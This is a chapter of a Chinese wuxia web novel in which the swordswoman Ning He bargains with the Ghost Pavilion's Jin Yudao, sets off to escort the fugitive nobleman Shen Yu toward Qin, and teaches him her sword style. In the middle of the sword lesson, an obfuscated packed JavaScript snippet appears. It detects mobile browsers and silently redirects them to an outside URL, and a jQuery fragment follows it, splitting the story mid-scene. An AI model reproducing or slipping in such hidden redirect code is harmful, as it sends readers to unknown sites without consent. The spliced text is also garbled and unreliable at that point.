默认冷灰
24号文字
方正启体

8.第8章

作者:炩岚本书字数:K更新时间:
    只见金玉刀不慌不忙,掀起桌上账簿阻挡迸溅的铁算珠,如鬼魅向侧边一飘。


    宁禾的剑锋斩入柜台,台面裂成两半“轰隆”一声坍塌下去。


    金玉刀笑着摇了摇头,“小友这般进门就动手的规矩,比马贼还凶悍。有话何不坐下好好说,桌椅无辜,何苦与它们过不去?”


    宁禾剑尖直指对方心口,“少跟我耍嘴皮子,张家的事你敢说不是你做局?如今官府追得我寸步难行,这若不是鬼阁的手笔还能有谁?”


    金玉刀踏步进前,弯刀如月弧削出。


    宁禾手腕一抖,长剑斜撩而上,刀剑相撞,发出一声刺耳铮鸣。


    她借力后跃,剑势忽转,如疾风骤雨般,攻向金玉刀下盘。


    金玉刀步法奇诡,弯刀舞动间带起阵阵劲风。


    刀光如新月,身形如灵蛇,二人在这方寸之地缠斗不休,桌椅翻倒。


    油灯摇曳,墙上人影乱晃。


    斗到十来回合,金玉刀忽足尖一点翻倒的桌角,身形如大雁般腾空而起,轻飘飘落于房梁之上。


    “小友剑法精妙,老夫佩服。实话与你说,张家一案惊动京中来人,这般动静,绝非鬼阁能为。”


    “但此事确算老夫失察,未料他背后有这般牵扯。鬼阁愿添一百五十两纹银,权作赔礼。”


    宁禾挑眉,作势欲跃,“这点银子,还不够我打发官府鹰犬。”


    “且慢,”金玉刀急忙摆手,“银子不够再加个消息,关于尊师的消息,如何?”


    宁禾身形骤然顿住,握剑的手微微一颤,杀气愈浓:“你知道什么?”


    金玉刀跃下房梁,压低声音道:“三年前尊师在天门郡接的那单任务,正是劣徒牵线。”


    “具体情形老夫也不甚清楚,只偶然得知尊师旧疾复发,恐与秦地有些关联。那雇主来历恐不简单,一直未曾露面,只派了手下接洽,劣徒也是无意间看到那人袖口似乎有秦国纹样。”


    宁禾面色不变,心头巨震。


    三年前师父旧疾复发,她问了很多次,可师父无论如何都不愿说出实情。


    后来师父去世,她想办法去探查,也是一点消息都没有。


    鬼阁向来不透露暗杀的情况,不论是雇主的还是杀手的。


    如今金玉刀却突然泄密,说不定又有什么陷阱。


    她眯眼瞧他,冷笑道:“你透露这等辛秘,就不怕惹祸上身?”


    金玉刀捻须轻笑:“鬼阁能做买卖几十年,自有保全之道。”


    “况且我也没透露雇主与暗杀任务的具体情况,不算破戒。”


    宁禾见他神色从容,知这老狗背后有倚仗,说不定又在盘算什么。


    她不再多问,还剑入鞘。


    “今日便信你一回,若其中有诈,我一定回来剥了你这层老狗皮。”


    出了鬼阁,宁禾径直走向黑市角落的兵器铺。


    摊主接过卷刃的长剑,取出磨石细细修缮,她等了一个时辰,剑修好检查了一下,付了银子。


    走过半条街,她步入闻风楼。


    这楼是专门做买卖消息营生的,有的消息几个铜板便能买到,但有的消息几千两都不一定会卖。


    老板神出鬼没,无人看过他的真面目,江湖人称千面书生。


    吴郡的闻风楼只是分号,主楼在建康。


    此刻柜台里坐的是个中年男人。


    一袭青衫,手摇折扇,面前摊着泛黄的册子,看起来像个帐房先生。


    宁禾将两块银锭搁在柜子上。


    “查两件事。沈氏沈玉的真实根底,还有秦国近三年的情况。”


    男人以扇轻点银锭,摇头道:“沈氏沈玉?沈家没这个人,江湖路上查无此人,要么是个化名,要么……就是个根本不该存在的人。”


    他话锋一转:“至于秦国消息,好说,我一会儿整理成册拿给你。”


    说完男人转身进了内间。


    宁禾坐在凳子上等,过了半个时辰,男人拿来一本册子。


    她接过,简单翻看了一下。


    里面关于秦国的情况非常详细。


    除了一些机密外,朝堂动向、百官争斗、士族变动,以及民间一些琐事,地形地貌,应有尽有。


    她把册子揣怀里,说道:“卖你一个消息,鬼阁的金玉刀亲口承认,其徒儿三年前促成的某个暗杀单子,或跟秦国贵族有关。”


    男人摇扇的手微微一顿,眼中闪过异色。


    “这消息值五十两。”


    说罢,把其中一枚银锭用扇子推回到宁禾面前。


    宁禾没说什么,装回银锭,出了闻风楼。


    她没有直接离开鬼市,而是去买了两份假过所和黄籍,过所上登记的目的地,是与秦国相反的交州。


    又买了些干粮,宁禾走在人流如织的街道上,回头看了一眼鬼阁的方向,扬唇冷笑。


    金玉刀敢做局害她,就要做好被追杀的准备。


    她踏着月色出了黑市。


    顺利出城,夜色里青山层峦叠嶂,白雾弥漫,影影绰绰。


    她身形轻展,如夜莺穿林,重新回到寺庙塔底下的暗室。


    刚进去就看到沈玉背着包袱,似乎准备走。


    宁禾有些诧异,走上前开口询问:“你要走了?”


    段沉玉轻声道:“追兵想必已经走远,一时半会不会回头,我想动身往秦国去。”


    他抬眼看向宁禾,眼底带着歉意,“此去山长水远,若有缘分,他日或许还能再见。宁娘子保重。”


    宁禾沉默片刻。


    金玉刀说师父的死与秦国有关。


    他的话确实不可全信,但也不可不信,毕竟师父那个荷包上是秦国纹样。


    师父或许和秦国有关系,她之前猜测过。


    沈玉的意外出现,金玉刀的话,这些事冥冥之中凑到了一起,都在引导她去秦国。


    宁禾觉得,不管是阴谋诡计还是龙潭虎穴,她要去试试才知。


    师父的死因是一定要查的。


    持剑之人,没有当缩头乌龟的道理。


    她抬眼看着沈玉,开口道:“我同你一起去秦国,护送你到长安,但我要报酬,三百两银子。”


    段沉玉愣住,随即眼睛亮了起来,“自然可以,别说三百两,只要安然到外祖父那,一千两也是当得。”


    “有宁娘子同行,我可以放心了。”


    *


    宁禾和段沉玉踏上了往秦之路。


    两个逃犯,都是不能见光的人。


    二人风餐露宿,白日避开官道走小路,夜里宿在破庙或山坳,轮流值夜。


    一路上,少年宽袍广袖,身姿翩跹,纵使青衫微皱染尘泥,通身气度仍似昆山片玉,不掩其光。


    宁禾看着他临溪净面饮水,仪态若白鹤理羽,又低头看自己沾泥的牛皮靴,脏污的裤腿衣袖,简直郁闷。


    这人怎么不似逃亡,跟出来游山玩水似的。


    她随便洗了把脸,把水囊灌满后抱着剑,不耐烦催促:“快点。”


    “马上来,劳宁娘子久等。”


    少年玉面沾水,回首温笑,眼眸映着天光,如水中浸玉。


    宁禾把继续催促的话咽回去,默默别开视线。


    对美人总是多几分耐心。


    谁叫她好色。


    段沉玉爱洁,坐下要铺旧衣裳,能不踏污泥水洼就不踏,若是下了雨实在没办法,等到了河边也一定要清洗一番。


    十天日子,只要路过溪流河水,他都会去沐浴。


    虽食野果饮山泉,唇色仍若春樱含露。纵卧枯草宿荒庙,衣袂拂过犹带冷香。


    此间狼狈,似乎于他这种世家子,不过是云烟过眼。


    欣赏美人是一回事,但宁禾还是忍不住撇嘴,觉得他还是被追杀的不够狠,有工夫讲究。


    *


    雾卷暮色,星河浮霁。


    山林满夜色,清风穿树过,遮天蔽日的浓绿叶片发出哗啦啦轻响,偶有乌鸦“咕咕”的叫声,阴森诡谲。


    火堆噼啪燃着,橘红的火光在湿冷的空气里晃荡。


    宁禾抱着剑坐在火堆边守夜,明灭的火光里,她眉峰微挑,眼尾带着几分锋利的俏色。


    她拿枯枝拨弄火堆,心里翻涌着杂事。师父的旧疾,秦国的雇主,金玉刀的目的,还有身边这个身份不明的沈玉。


    秦国到底有什么?


    “宁娘子。”


    身旁突然传来沈玉清润的嗓音,打破了寂静。


    她侧头去看,见他靠在树干上,如玉眼眸映着火光,无半点睡意。


    “怎么不睡?”


    “你不睡我可睡了。”说着就要飞身上树。


    “路途险峻,娘子可否教玉某剑法?”


    宁禾挑眉睨去,“酬劳几何?我的剑诀可不便宜。”


    醉花剑传女不传男,但她可以教沈玉自创的「弦月剑法」。


    有钱不赚是傻子。


    到时候到了秦国,要花钱的地方有很多,她必须得狠狠敲一笔。


    “到长安后,东市三间绸庄予你,”段沉玉掸去袖口草屑,微微一笑:“外加一百两。”


    宁禾道:“你在长安有产业?”


    段沉玉点头:“及冠那年外祖父赠的。”


    宁禾:“成交。”


    她将枯枝抛去,音如碎玉:“且让我看看你的底子。”


    但见少年广袖翻卷间,执枝起势。


    腕沉如坠玉,步移若推棋。


    “会什么?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351717|183547||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “习过君子剑,能挽弓三石。”


    他枯枝如剑挑落叶,衣袂飘飘,“投壶射礼,皆堪娱宾。”


    宁禾功夫高深,自然看出沈玉是在谦虚。


    他底子不仅不弱,甚至称得上中流。


    但也就仅此而已,应付几个普通官兵行,可对上专杀人的刺客,那便不够看了。


    她飞身以鞘点他肘间:“花架子。”


    鞘尖顺臂滑向腕骨,“弦月剑要的是诡劲。如新月乍现于乌云,似弓弦将发未发之际。”


    鞘身骤压住他虎口,“撤力三分,留七分在气脉流转。”


    段沉玉悟性不错,依言调整,随宁禾指引而动。


    “看好了!”


    宁禾振衣而起,寒芒出鞘:“这路弦月剑法共二十四式,取义新月渐盈之象。”


    她剑尖斜挑,恍若玉钩初挂柳梢,“第一式‘初弦微明’,须得含而不露,劲透中宫。”


    “……”


    段沉玉凝目望着,但见少女纵剑,周身恍若披覆一层泠泠月华。


    剑光交织,似银河自九霄倾泻。


    火堆余烬忽明忽暗,她腾挪身形如燕,偶有剑身反射火光跃入她瞳孔,明亮若玛瑙。


    段沉玉静静看着,看得出了神。


    他没见过她用剑。


    也从未见过如此漂亮的剑法。


    拿起剑的宁禾,像是拭去尘埃的明珠,煜煜生辉。


    “呆瓜!”


    宁禾看他一动不动,忽以剑鞘轻点他肩膀。


    段沉玉神魂骤回,长睫微垂:“宁娘子的剑法果真精妙绝伦。”


    宁禾哼了一声:“那是自然。”


    和往常的冷淡不耐烦不同,带着灵动娇俏的傲气。


    段沉玉没忍住弯唇:“娘子且看看,玉学得可有三分像。”


    宁禾颔首,抱臂倚在树干上看。


    只见少年玉腕一抖,身形旋动时袍角翻飞,若白鹤展翅踏雪。


    手握树枝,猎猎清风。


    “第七式错了。”


    宁禾忽然掷出石子击他肘弯,“力道不够。”


    段沉玉回首,星眸如泉水,挽着的发恰好如水流倾泻。


    他应声称是,反手绾住散乱青丝,以地上碎枝随意一簪。


    宁禾看着他练,时不时指导一二。


    到了九、十式,段沉玉显出疲态,力道消减。


    到了十八式,他手中枯枝微抖。


    他以树枝拄地稳住身形,额间冷汗浸/湿垂落的发丝,月色下面色苍白如纸。


    宁禾叫停了他,走过去道:“练不动了?”


    幼时师父教她练剑,每日都是三个时辰起步。


    这才哪到哪?


    段沉玉直起身,气喘微微,他正要说话,宁禾突然扣住了他的手腕。


    指尖带薄茧,触在脉门上,温热酥痒。


    他睫毛动了动,“宁娘子……”


    宁禾眉头微蹙:“闭嘴。”


    指下脉象浮滑,沉取又若游丝断续。


    她仰头看少年,有些疑惑:“十二经脉俱通,偏偏气海如漏底的斗,你经历了什么?”


    段沉玉眸光微黯,嗓音低沉:“是我母亲。”


    为了让胞弟上位,不惜下毒。


    虽保了命,但此后纵学尽天下招式,也使不出七分力道。


    宁禾没想到是这样。


    她没有娘,但是师父把她养大,和娘无异。


    天下还有害亲生孩子的人吗?


    她沉默片刻,无意窥探他人秘密,稍加思索后,决定暂时帮他一把。


    到了秦地她还需要沈玉,要打好关系才行。


    她抬眸询问他的意见:“要我给你传点内力吗?”


    段沉玉愣了一下,望着她明亮双目,拱手道谢:“宁娘子好心,玉感激不尽。


    宁禾嗯了一声。


    段沉玉问:“如何传?是掌对掌吗?”


    他没亲眼见过互传内力,只从书本中看过,依稀记得是盘腿对坐,掌对掌传内力,或许额对额传。


    宁禾闻言一顿,视线扫过他的胸口,有些欲言又止。


    “不是。”


    段沉玉被她那目光一扫,目露困惑,“那是……”


    宁禾轻咳一声:“你说得倒也不错,旁人是那么传内力的。”


    “但是我不同,我只能从另一个地方给你传……”


    她抿唇,头一次觉得自己好像个登徒子。


    指尖虚点他胸/口中点。


    少女嗓音如雨珠落竹,清脆干净,还带着几分微不可察的迟疑,在寂静的林间回荡。


    “以掌贴膻中穴,方可传。”


    “不可隔衣物。”


    段沉玉:“?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)